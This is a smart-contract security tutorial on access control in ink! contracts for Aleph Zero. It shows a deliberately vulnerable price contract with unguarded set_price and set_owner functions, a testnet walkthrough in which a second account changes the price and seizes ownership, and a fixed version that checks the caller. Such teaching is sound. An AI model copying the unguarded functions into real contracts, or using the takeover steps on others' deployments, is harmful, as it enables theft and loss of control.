Lesson 5 - Role-Based Access Control
This lesson targets the importance of verifying who can access or call the different functions of your Aleph Zero smart contract.
To be able to understand and complete this lesson, we believe that the minimum requirement should be the completion of
Lesson 1 - Getting Started
. If you desire to be even more prepared please have a look at the official website of ink!.In this lesson you will learn:
- What access control means in web3;
- The consequences of a bad access control implementation;
- How to exploit poorly implemented access control in practice;
- How to mitigate an attack on access control.
Access control in smart contracts protect the access to functions or state. Having no access control could result to having external users modifying the global state of your contract in an undesired way and break the logic of your smart contract.
For example, Bob developed an application that he would like to deploy on Aleph Zero. To achieve his goal, he decided to implement his smart contract in the following way.
Consider a contract that sets a value or a state at construction that is intended to only be modified by the owner of the contract. This contract has two messages that are publicly accessible:
set_price
and set_owner
.#![cfg_attr(not(feature = "std"), no_std)]
#[ink::contract]
mod price {
use ink::storage::Mapping;
#[ink(storage)]
#[derive(Default)]
pub struct Price {
total_supply: u32,
price: u32,
owner: AccountId,
balances: Mapping<AccountId, u32>,
}
impl Price {
#[ink(constructor)]
pub fn new(supply: u32, price: u32) -> Self {
let mut balances = Mapping::default();
let caller = Self::env().caller();
balances.insert(caller, &supply);
Self{
total_supply:supply,
price : price,
balances,
owner: caller,
}
}
#[ink(message)]
pub fn total_supply(&self) -> u32 {
self.total_supply
}
#[ink(message)]
pub fn set_price(&mut self, price: u32) {
self.price = price
}
#[ink(message)]
pub fn get_price(&self) -> u32 {
self.price
}
#[ink(message)]
pub fn get_owner(&self) -> AccountId {
self.owner
}
#[ink(message)]
pub fn set_owner(&mut self, new_owner: AccountId) {
self.owner = new_owner
}
/// Simply returns the current value of our `bool`.
#[ink(message)]
pub fn balance_of(&self, account: AccountId) -> u32 {
match self.balances.get(&account) {
Some(value) => value,
None => 0,
}
}
pub fn inflation(&mut self) {
self.total_supply += 999_999
}
#[ink(message)]
pub fn transfer(&mut self, recipient: AccountId, amount: u32) {
let sender = self.env().caller();
let sender_balance = self.balance_of(sender);
if sender_balance < amount {
return;
}
self.balances.insert(sender, &(sender_balance - amount));
let recipient_balance = self.balance_of(recipient);
self.balances.insert(recipient, &(recipient_balance + amount));
}
}
#[cfg(test)]
mod tests {
use crate::price::Price;
use ink::env::{test, DefaultEnvironment};
#[ink::test]
fn contract_construction() {
let accounts = test::default_accounts::<DefaultEnvironment>();
test::set_caller::<DefaultEnvironment>(accounts.alice);
let price = Price::new(1000, 10);
assert_eq!(price.total_supply(), 1000);
assert_eq!(price.get_price(), 10);
assert_eq!(price.get_owner(), accounts.alice);
}
#[ink::test]
fn access_to_non_message_functions() {
let accounts = test::default_accounts::<DefaultEnvironment>();
test::set_caller::<DefaultEnvironment>(accounts.alice);
let mut price = Price::new(100_000, 100);
let starting_supply = price.total_supply;
// run non-message function `inflation` to add 999_999 to total_supply
price.inflation();
assert_eq!(price.total_supply, starting_supply + 999_999 )
}
#[ink::test]
fn non_owner_set_price() {
let accounts = test::default_accounts::<DefaultEnvironment>();
test::set_caller::<DefaultEnvironment>(accounts.alice);
let mut price = Price::new(10000, 100);
// price set to 100 by alice at construction
// change caller to bob
test::set_caller::<DefaultEnvironment>(accounts.bob);
//bob's attempt to set price and panic will result
price.set_price(10);
assert_eq!(price.get_price(), 10);
}
#[ink::test]
fn non_owner_change_owner() {
let accounts = test::default_accounts::<DefaultEnvironment>();
test::set_caller::<DefaultEnvironment>(accounts.alice);
let mut price = Price::new(10000, 100);
// owner = alice
// change caller to bob
test::set_caller::<DefaultEnvironment>(accounts.bob);
// attempt to set owner to bob and panic will result
price.set_owner(accounts.bob);
assert_eq!(price.get_owner(), accounts.bob);
}
#[ink::test]
fn owner_change_owner() {
let accounts = test::default_accounts::<DefaultEnvironment>();
test::set_caller::<DefaultEnvironment>(accounts.alice);
let mut price = Price::new(10000, 100);
price.set_owner(accounts.django);
assert_eq!(price.get_owner(), accounts.django);
}
#[ink::test]
fn owner_change_price() {
let accounts = test::default_accounts::<DefaultEnvironment>();
test::set_caller::<DefaultEnvironment>(accounts.alice);
let mut price = Price::new(10000, 100);
price.set_price(50);
assert_eq!(price.get_price(), 50);
}
}
}
What are the security vulnerabilities in the code presented in above?
==- Hint Please have a look at the function
set_price
and set_owner
==- Answer The price and the owner of the smart contract can be modified by any user. ==- Let’s discuss the consequences of the vulnerabilities. Can you think of a way to exploit those vulnerabilities?
Please download the executable of the contract here, deploy it on Aleph Zero testnet (https://test.azero.dev/ ) and try to attack it. Any
Did you succeed? Yes! Well done, if not please do not worry and have a look at the proposed attack below.
==- Attack
To simulate you will need two founded accounts, please watch the video of [Course_04](add link) if you do not know how to do it.
cargo install cargo-contract --version 2.0.0-beta.1
cargo contract new price
cd price
then copy paste the code above into the lib.rs file
cargo +nightly test -- --nocapture
Tests Output
running 6 tests
test price::tests::non_owner_change_owner ... ok
test price::tests::access_to_non_message_functions ... ok
test price::tests::owner_change_owner ... ok
test price::tests::contract_construction ... ok
test price::tests::non_owner_set_price ... ok
test price::tests::owner_change_price ... ok
Using Cargo Contract Command line
cargo +nightly contract build --release
export SEED="[put your 12 words seed phrase here]"
export URL="wss://ws.test.azero.dev"
cargo contract instantiate --suri "$SEED" --url "$URL" \
--constructor new \
--args 1000 450
Output
Dry-running new (skip with --skip-dry-run)
Success! Gas required estimated at Weight(ref_time: 513761328, proof_size: 0)
Confirm transaction details: (skip with --skip-confirm)
Constructor new
Args 1000 450
Gas limit Weight(ref_time: 513761328, proof_size: 0)
Submit? (Y/n): y
Contract 5D3U2wgaBKaYDA7459TPrCJZ8LBVfTA44JLf5W1WRHuE1bey
Events
....
export CONTRACT="5D3U2wgaBKaYDA7459TPrCJZ8LBVfTA44JLf5W1WRHuE1bey"
cargo contract call --suri "$SEED" --url "$URL" --contract "$CONTRACT" --message get_price --dry-run
Output
Result Success!
Reverted false
Data Tuple(Tuple { ident: Some("Ok"), values: [UInt(450)] })
Set price with second account(
$SEED2
)cargo contract call --suri "$SEED2" --url "$URL" --contract "$CONTRACT" --message set_price --args 10
cargo contract call --suri "$SEED" --url "$URL" --contract "$CONTRACT" --message get_price --dry-run
Result Success!
Reverted false
Data Tuple(Tuple { ident: Some("Ok"), values: [UInt(10)] })
User with
$SEED2
sets themselves to ownercargo contract call --suri "$SEED2" --url "$URL" --contract "$CONTRACT" --message set_owner --args "5HiyV1tUmLy4ARX4tUk9eqMRt1D2dAc7WSPLLK22oAk6aoPK"
cargo contract call --suri "$SEED" --url "$URL" --contract "$CONTRACT" --message get_owner --dry-run
Result Success!
Reverted false
Data Tuple(Tuple { ident: Some("Ok"), values: [Literal("5HiyV1tUmLy4ARX4tUk9eqMRt1D2dAc7WSPLLK22oAk6aoPK")] })
Using Contracts-UI from substrate.io
Add New Contract
Upload
money.contract
from the target/ink directory and click nextSet the supply to
10000
and the price to 450
and click nextClick Upload and Instantiate
The price is
450
The owner is
justinTest
or 5EZTBFJJxgSFwSALjVitwzmuiTDzT5JjxoYmmaejo9ueBUwt
The price being changed to
10
by just2
The price is set to
10
just2
setting themself to ownerThe Owner is now
5HiyV1tUmLy4ARX4tUk9eqMRt1D2dAc7WSPLLK22oAk6aoPK
==-Now we have discovered the problem and its consequences. Let's talk about the secure way of developing the smart contract.
Any idea? Let's look at the solution!
==- Solution Verify for the desired function that the owner of the smart contract is also the caller of the function by checking
self.owner == self.env().caller()
. It is important to know that you could also give access to other users. ==-You can see below a secure way to implement the smart contract that Bob desired.
==- Reveal Secure Implementation
# Secure Smart Contract
#![cfg_attr(not(feature = "std"), no_std)]
#[ink::contract]
mod price {
use ink::storage::Mapping;
#[ink(storage)]
#[derive(Default)]
pub struct Price {
total_supply: u32,
price: u32,
owner: AccountId,
balances: Mapping<AccountId, u32>,
}
impl Price {
#[ink(constructor)]
pub fn new(supply: u32, price: u32) -> Self {
let mut balances = Mapping::default();
let caller = Self::env().caller();
balances.insert(caller, &supply);
Self{
total_supply:supply,
price : price,
balances,
owner: caller,
}
}
#[ink(message)]
pub fn total_supply(&self) -> u32 {
self.total_supply
}
#[ink(message)]
pub fn set_price(&mut self, price: u32) {
if self.owner == self.env().caller() {
self.price = price
}
}
#[ink(message)]
pub fn get_price(&self) -> u32 {
self.price
}
#[ink(message)]
pub fn get_owner(&self) -> AccountId {
self.owner
}
#[ink(message)]
pub fn set_owner(&mut self, new_owner: AccountId) {
if self.owner == self.env().caller() {
self.owner = new_owner
}
}
/// Simply returns the current value of our `bool`.
#[ink(message)]
pub fn balance_of(&self, account: AccountId) -> u32 {
match self.balances.get(&account) {
Some(value) => value,
None => 0,
}
}
pub fn inflation(&mut self) {
self.total_supply += 999_999
}
#[ink(message)]
pub fn transfer(&mut self, recipient: AccountId, amount: u32) {
let sender = self.env().caller();
let sender_balance = self.balance_of(sender);
if sender_balance < amount {
return;
}
self.balances.insert(sender, &(sender_balance - amount));
let recipient_balance = self.balance_of(recipient);
self.balances.insert(recipient, &(recipient_balance + amount));
}
}
#[cfg(test)]
mod tests {
use crate::price::Price;
use ink::env::{test, DefaultEnvironment};
#[ink::test]
fn contract_construction() {
let accounts = test::default_accounts::<DefaultEnvironment>();
test::set_caller::<DefaultEnvironment>(accounts.alice);
let price = Price::new(1000, 10);
assert_eq!(price.total_supply(), 1000);
assert_eq!(price.get_price(), 10);
assert_eq!(price.get_owner(), accounts.alice);
}
#[ink::test]
fn access_to_non_message_functions() {
let accounts = test::default_accounts::<DefaultEnvironment>();
test::set_caller::<DefaultEnvironment>(accounts.alice);
let mut price = Price::new(100_000, 100);
let starting_supply = price.total_supply;
// run non-message function `inflation` to add 999_999 to total_supply
price.inflation();
assert_eq!(price.total_supply, starting_supply + 999_999 )
}
#[ink::test]
fn non_owner_set_price() {
let accounts = test::default_accounts::<DefaultEnvironment>();
test::set_caller::<DefaultEnvironment>(accounts.alice);
let mut price = Price::new(10000, 100);
// price set to 100 by alice at construction
// change caller to bob
test::set_caller::<DefaultEnvironment>(accounts.bob);
//bob's attempt to set price and no change since bob is not an owner
price.set_price(10);
assert_eq!(price.get_price(), 100);
}
#[ink::test]
fn non_owner_change_owner() {
let accounts = test::default_accounts::<DefaultEnvironment>();
test::set_caller::<DefaultEnvironment>(accounts.alice);
let mut price = Price::new(10000, 100);
// owner = alice
// change caller to bob
test::set_caller::<DefaultEnvironment>(accounts.bob);
// attempt to set owner to bob and no change since owner is alice.
price.set_owner(accounts.bob);
assert_eq!(price.get_owner(), accounts.alice);
}
#[ink::test]
fn owner_change_owner() {
let accounts = test::default_accounts::<DefaultEnvironment>();
test::set_caller::<DefaultEnvironment>(accounts.alice);
let mut price = Price::new(10000, 100);
price.set_owner(accounts.django);
assert_eq!(price.get_owner(), accounts.django);
}
#[ink::test]
fn owner_change_price() {
let accounts = test::default_accounts::<DefaultEnvironment>();
test::set_caller::<DefaultEnvironment>(accounts.alice);
let mut price = Price::new(10000, 100);
price.set_price(50);
assert_eq!(price.get_price(), 50);
}
}
}
==- If you want can verify that this new source code secures the smart contract by replaying the attack over that has been done above.
If you are up to the challenge, see if you know the answer to this question:
True or false: Which other identity than the contract owner could be allowed to modified the price of the token?
==- Answers False. For example, an oracle if the price depends of some date external to the blockchain. ==-